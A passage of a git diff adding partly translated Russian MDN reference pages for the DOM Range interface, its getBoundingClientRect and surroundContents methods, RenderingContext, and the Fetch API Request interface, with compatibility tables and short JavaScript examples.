+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/range/getboundingclientrect/index.html b/files/ru/web/api/range/getboundingclientrect/index.html
new file mode 100644
index 0000000000..9948c1d820
--- /dev/null
+++ b/files/ru/web/api/range/getboundingclientrect/index.html
@@ -0,0 +1,81 @@
+---
+title: Range.getBoundingClientRect
+slug: Web/API/Range/getBoundingClientRect
+translation_of: Web/API/Range/getBoundingClientRect
+---
+<p>{{ ApiRef("Range") }}{{SeeCompatTable}}</p>
+<p>Метод <strong><code>Range.getBoundingClientRect()</code></strong> возвращает объект {{ domxref("ClientRect") }}, соотвествующий фрагменту документа, на основе которого создан объект Range; это прямоугольник, непосредственно обрамляющий объединение прямоугольников для каждого элемента фрагмента документа.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><em>boundingRect</em> = <em>range</em>.getBoundingClientRect()
+</pre>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush: js">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+rect = range.getBoundingClientRect();
+</pre>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-range-getboundingclientrect', 'Range.getBoundingClientRect()')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("2.0")}}</td>
+    <td>9.0</td>
+    <td>15.0</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("2.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>15.0</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/range/index.html b/files/ru/web/api/range/index.html
new file mode 100644
index 0000000000..b46091e373
--- /dev/null
+++ b/files/ru/web/api/range/index.html
@@ -0,0 +1,243 @@
+---
+title: Range
+slug: Web/API/Range
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Range(диапазон)</code></strong> интерфейс предоставляет фрагмент документа который может содержать узлы и части текстовых узлов  данного документа. </p>
+
+<p>Range может быть создан с помощью метода {{ domxref("Document.createRange", "createRange") }}, у объекта {{ domxref("Document") }}. Или объект Range можно получить с помощью метода {{ domxref("Selection/getRangeAt", "getRangeAt") }}, у объекта {{ domxref("Selection") }}. А также с помощью конструктора {{domxref("Range.Range()", "Range()")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p>Нет унаследованных свойств.</p>
+
+<p><strong>{{domxref("Range.collapsed")}} {{readonlyInline}}</strong><br>
+ Возвращает {{domxref("Boolean")}} указывающий, находятся ли начало и конец диапазона<br>
+ на одной и той же позиции.</p>
+
+<dl>
+ <dt>{{domxref("Range.startContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{ domxref("Node") }} внутри которого <code>Range</code> начинается.</dd>
+ <dt>{{domxref("Range.endContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{ domxref("Node") }} внутри которого <code>Range</code> заканчивается .</dd>
+ <dt>{{domxref("Range.commonAncestorContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает самый глубокий {{ domxref("Node") }} который содержит узлы <code>startContainer</code> и <code>endContainer</code>.</dd>
+ <dt>{{domxref("Range.endOffset")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число равное расположению <code>endContainer</code> в <code>Range</code> .</dd>
+ <dt></dt>
+ <dt>{{domxref("Range.startOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns a number representing where in the <code>startContainer</code> the <code>Range</code> starts.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}</dt>
+ <dd>Возвращают объект <code>Range</code> с глобальным  {{domxref("Document")}} как начало и конец.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеют унаследованных свойств.</em></p>
+
+<dl>
+ <dt>{{ domxref("Range.setStart()")}}</dt>
+ <dd>Назначают начальную позицию <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setEnd()")}}</dt>
+ <dd>Назначает конечную позицию <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setStartBefore()")}}</dt>
+ <dd>Устанавливает начальную позицию <code>Range</code> относительно другого {{ domxref("Node") }} пред ним.</dd>
+ <dt>{{ domxref("Range.setStartAfter()")}}</dt>
+ <dd>Устанавливает начальную позицию <code>Range</code> относительно другого {{ domxref("Node") }} после него.</dd>
+ <dt>{{ domxref("Range.setEndBefore()")}}</dt>
+ <dd>Устанавливает конечную позицию <code>Range</code> относительно другого {{ domxref("Node") }} перед ним.</dd>
+ <dt>{{ domxref("Range.setEndAfter()")}}</dt>
+ <dd>Устанавливает конечную позицию <code>Range</code> относительно другого {{ domxref("Node") }} после него.</dd>
+ <dt>{{ domxref("Range.selectNode()")}}</dt>
+ <dd>Выбирает <code>Range</code> to содержащий {{ domxref("Node") }} и его контент.</dd>
+ <dt>{{ domxref("Range.selectNodeContents()")}}</dt>
+ <dd>Выбирает <code>Range</code> содержащий контент {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.collapse()")}}</dt>
+ <dd>Схлопавыет <code>Range</code> до одной из граничных точек.</dd>
+ <dt>{{ domxref("Range.cloneContents()")}}</dt>
+ <dd>Возвращает {{ domxref("DocumentFragment") }} содержащийся в узле <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.deleteContents()")}}</dt>
+ <dd>Удаляет содержимое <code>Range</code> из{{ domxref("Document") }}.</dd>
+ <dt>{{ domxref("Range.extractContents()")}}</dt>
+ <dd>Переносит содержимое <code>Range</code> из дерева документа в {{ domxref("DocumentFragment") }}.</dd>
+ <dt>{{ domxref("Range.insertNode()")}}</dt>
+ <dd>Вставляет a {{ domxref("Node") }} в начало <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.surroundContents()")}}</dt>
+ <dd>Переносит содержимое <code>Range</code> в новый {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.compareBoundaryPoints()")}}</dt>
+ <dd>Сравнивает граничные точки <code>Range</code> с другим <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.cloneRange()")}}</dt>
+ <dd>Возвращает  объект из <code>Range</code> с граничными точками идентичными клонированному <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.detach()")}}</dt>
+ <dd><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Освобождает </span></font>Range</code> от использования для улучшения производительности .</dd>
+ <dt>{{ domxref("Range.toString()")}}</dt>
+ <dd>Возвращает текст в <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}</dt>
+ <dd>Возвращает константу, представляющую, находится ли {{domxref("Node")}} до, после, внутри или вокруг  range.</dd>
+ <dt>{{ domxref("Range.comparePoint()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает -1, 0, или 1 в зависимости от того, находиться ли referenceNode перед, внутри, или после  <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{ domxref("DocumentFragment") }} созданный из полученной строки с кодом.</dd>
+ <dt>{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает объект {{ domxref("ClientRect") }} object which bounds the entire contents of the <code>Range</code>; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.</dd>
+ <dt>{{ domxref("Range.getClientRects()") }} {{experimental_inline}}</dt>
+ <dd>Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>boolean</code> указывающий, пересекает ли данный узел <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given point is in the <code>Range</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Do not use <code>RangeException</code> anymore, use <code>DOMException</code> instead.<br>
+    Made the second parameter of <code>collapse()</code> optional.<br>
+    Added the methods <code>isPointInRange()</code>, <code>comparePoint()</code>, and <code>intersectsNode()</code>.<br>
+    Added the constructor <code>Range()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the method <code>createContextualFragment()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the methods <code>getClientRects()</code> and <code>getBoundingClientRect()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Range()</code> constructor {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>compareNode()</code> {{obsolete_inline}}{{non-standard_inline()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    Removed in {{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isPointInRange()</code>, and <code>comparePoint()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>intersectsNode()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17.0")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getClientRects()</code> and <code>getBoundingClientRect()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>createContextualFragment()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Gecko 13.0 {{ geckoRelease("13.0") }} the <code>Range</code> object throws a {{ domxref("DOMException") }} as defined in DOM 4, instead of a <code>RangeException</code> defined in prior specifications.</p>
+
+<p>[2] Gecko supported it up to Gecko 1.9, then removed it until Gecko 17 where it was reimplemented, matching the spec.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html
new file mode 100644
index 0000000000..fd9e2d515a
--- /dev/null
+++ b/files/ru/web/api/range/surroundcontents/index.html
@@ -0,0 +1,113 @@
+---
+title: Range.surroundContents()
+slug: Web/API/Range/surroundContents
+translation_of: Web/API/Range/surroundContents
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Метод <strong><code>Range.surroundContents()</code></strong> перемещает содержимое {{ domxref("Range") }} в новый элемент, который расположится в начале указанного диапазона.</p>
+
+<p>Этот медод приблизительно эквивалентен коду <code>newNode.appendChild(<a href="/en/DOM/range.extractContents" title="en/DOM/range.extractContents">range.extractContents()</a>); <a href="/en-US/docs/DOM/range.insertNode" title="/en-US/docs/DOM/range.insertNode">range.insertNode</a>(newNode)</code>. После его работы крайние точки диапазона будут включать в себя <code>newNode</code>.</p>
+
+<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого произовдет ошибка.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>range</em>.surroundContents(<em>newNode</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>newNode</em></dt>
+ <dd><a href="/en-US/docs/Glossary/Node/DOM">Элемент</a> который будет содержать в себе выделенный текст. </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var range = document.createRange();
+var newNode = document.createElement("p");
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.surroundContents(newNode);
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-surroundcontents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-surroundContents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox до версии 1.5, содержит ошибку, которая не позволяет отработать <code>Range.surroundContents</code> если начало и конец диапазона являются одним текстовым элементом ({{bug(135928)}}).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/renderingcontext/index.html b/files/ru/web/api/renderingcontext/index.html
new file mode 100644
index 0000000000..041ac640a7
--- /dev/null
+++ b/files/ru/web/api/renderingcontext/index.html
@@ -0,0 +1,40 @@
+---
+title: RenderingContext
+slug: Web/API/RenderingContext
+translation_of: Web/API/RenderingContext
+---
+<p>{{APIRef("Canvas API")}}</p>
+
+<p><span class="seoSummary"><code><strong>RenderingContext</strong></code> - это WebIDL <code>typedef</code> который ссылается на один из интерфейсов, представляющие собой графический контекст внутри элемента <code>&lt;canvas&gt;</code>: </span>{{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}},<span class="seoSummary"> а так же </span>{{domxref("WebGL2RenderingContext")}}</p>
+
+<p>Используя <code>RenderingContext</code>, методы и поля которого могут использоваться любыми из этих интерфейсов могут быть перезаписаны в более простой форме; с тех пор, как <code>&lt;canvas&gt;</code> поддерживает несколько систем прорисовки контекста, это полезная форма спецификации, в буквальном смысле обозначающая "один из интерфейсов"</p>
+
+<p>В любом случае, <code>RenderingContext</code> - просто общее название и оно не является тем, что в основном используют веб-разработчики. Не существует интерфейса <code>RenderingContext</code> как такого и нет классов, наследуемых от него.</p>
+
+<p>Для получения <code>RenderingContext</code> из веб-элемента <code>&lt;canvas&gt;</code> используется метод {{domxref("HTMLCanvasElement.getContext()")}}, возвращающий "один из интерфейсов"</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Внутреннее объявление.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанное_с_этим">Связанное с этим</h2>
+
+<ul>
+ <li>Интерфейсы, объединяемые <code>RenderingContext</code>: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} и {{domxref("WebGL2RenderingContext")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the Web</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a> и {{HTMLElement("canvas")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></li>
+</ul>
diff --git a/files/ru/web/api/request/index.html b/files/ru/web/api/request/index.html
new file mode 100644
index 0000000000..500b80cf55
--- /dev/null
+++ b/files/ru/web/api/request/index.html
@@ -0,0 +1,175 @@
+---
+title: Request
+slug: Web/API/Request
+tags:
+  - API
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Networking
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><strong>Request</strong></code> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> является запросом ресурсов или данных.</p>
+
+<p>Создать новый объект <code>Request</code> можно, используя конструктор {{domxref("Request.Request","Request()")}}, однако чаще всего встречается способ возврата объекта <code>Request</code> , как результат операции API. Например такой как service worker {{domxref("FetchEvent.request")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request","Request()")}}</dt>
+ <dd>Создаёт новый <code>Request</code> объект.</dd>
+</dl>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Содержит кэшированное состояние запроса (напр., <code>default</code>, <code>reload</code>, <code>no-cache</code>).</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>Содержит контекст запроса (напр., <code>audio</code>, <code>image</code>, <code>iframe</code>, итд.)</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Содержит данные идентификации запроса (напр., <code>"omit"</code>, <code>"same-origin"</code>, <code>"include"</code>). Значение по умолчанию: <code>"same-origin"</code>.</dd>
+ <dt>{{domxref("Request.destination")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает строку из {{domxref("RequestDestination")}} enum, описывая назначение запроса. Это строка, указывающая тип запрошенных данных.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Содержит назначенный {{domxref("Headers")}} объект запроса (заголовки).</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>Содержит "<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>" значение запроса (напр., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</dd>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Содержит метод запроса (<code>GET</code>, <code>POST</code>, и т.д.)</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Содержит режим запроса (напр., <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>.)</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Содержит режим перенаправления. Может быть одним из следующих: <code>follow</code>, <code>error</code>, или <code>manual</code>.</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>Содержит значение "referrer" ("ссылающийся") запроса (например., <code>client</code>).</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Содержит политику "ссылающегося" данного запроса (e.g., <code>no-referrer</code>).</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Содержит URL запроса.</dd>
+</dl>
+
+<p><code>Request</code> имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:</p>
+
+<dl>
+ <dt>{{domxref("Body.body", "body")}} {{readonlyInline}}</dt>
+ <dd>Простой getter используемый для раскрытия {{domxref("ReadableStream")}} "тела" (body) содержимого.</dd>
+ <dt>{{domxref("Body.bodyUsed", "bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Хранит {{domxref("Boolean")}}, декларирующее использовалось ли "тело" ранее в ответе.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd>Создаёт копию текущего <code>Request</code> объекта.</dd>
+</dl>
+
+<p><code>Request</code> имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Возвращает promise ("обещание") которое выполняется, возвращая {{domxref("ArrayBuffer")}} репрезентацию тела запроса.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Возвращает promise </dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Возвращает promise который разрешается с помощью {{domxref("FormData")}} представления тела запроса.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Returns a promise that resolves with a {{domxref("JSON")}} representation of the request body.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Returns a promise that resolves with an {{domxref("USVString")}} (text) representation of the request body.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: The {{domxref("Body")}} functions can be run only once; subsequent calls will resolve with empty strings/ArrayBuffers.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following snippet, we create a new request using the <code>Request()</code> constructor (for an image file in the same directory as the script), then return some property values of the request:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://www.mozilla.org/favicon.ico');
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+</pre>
+
+<p>You could then fetch this request by passing the <code>Request</code> object in as a parameter to a {{domxref("WindowOrWorkerGlobalScope.fetch()")}} call, for example:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; response.blob())
+  .then(blob =&gt; {
+    image.src = URL.createObjectURL(blob);
+  });</pre>
+
+<p>In the following snippet, we create a new request using the <code>Request()</code> constructor with some initial data and body content for an api request which need a body payload:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'});
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+const bodyUsed = request.bodyUsed;
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Типом тела может быть только {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} или {{domxref("ReadableStream")}} поэтому, для добавления объекта JSON в полезную нагрузку вам необходимо структуировать этот объект.</p>
+</div>
+
+
+
+<p>Вы можете получить этот запрос API, передав объект Request в качестве параметра для вызова {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, например, и получить ответ:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Что-то пошло не так на API сервере.');
+    }
+  })
+  .then(response =&gt; {
+    console.debug(response);
+    // ...
+  }).catch(error =&gt; {
+    console.error(error);
+  });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Начальное<br>
+    определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request")}}</p>
+
+<h2 id="Читай_также">Читай также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/request/mode/index.html b/files/ru/web/api/request/mode/index.html
new file mode 100644
index 0000000000..335261f175
--- /dev/null
+++ b/files/ru/web/api/request/mode/index.html
@@ -0,0 +1,78 @@
+---
+title: Request.mode
+slug: Web/API/Request/mode
+translation_of: Web/API/Request/mode
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<div></div>
+
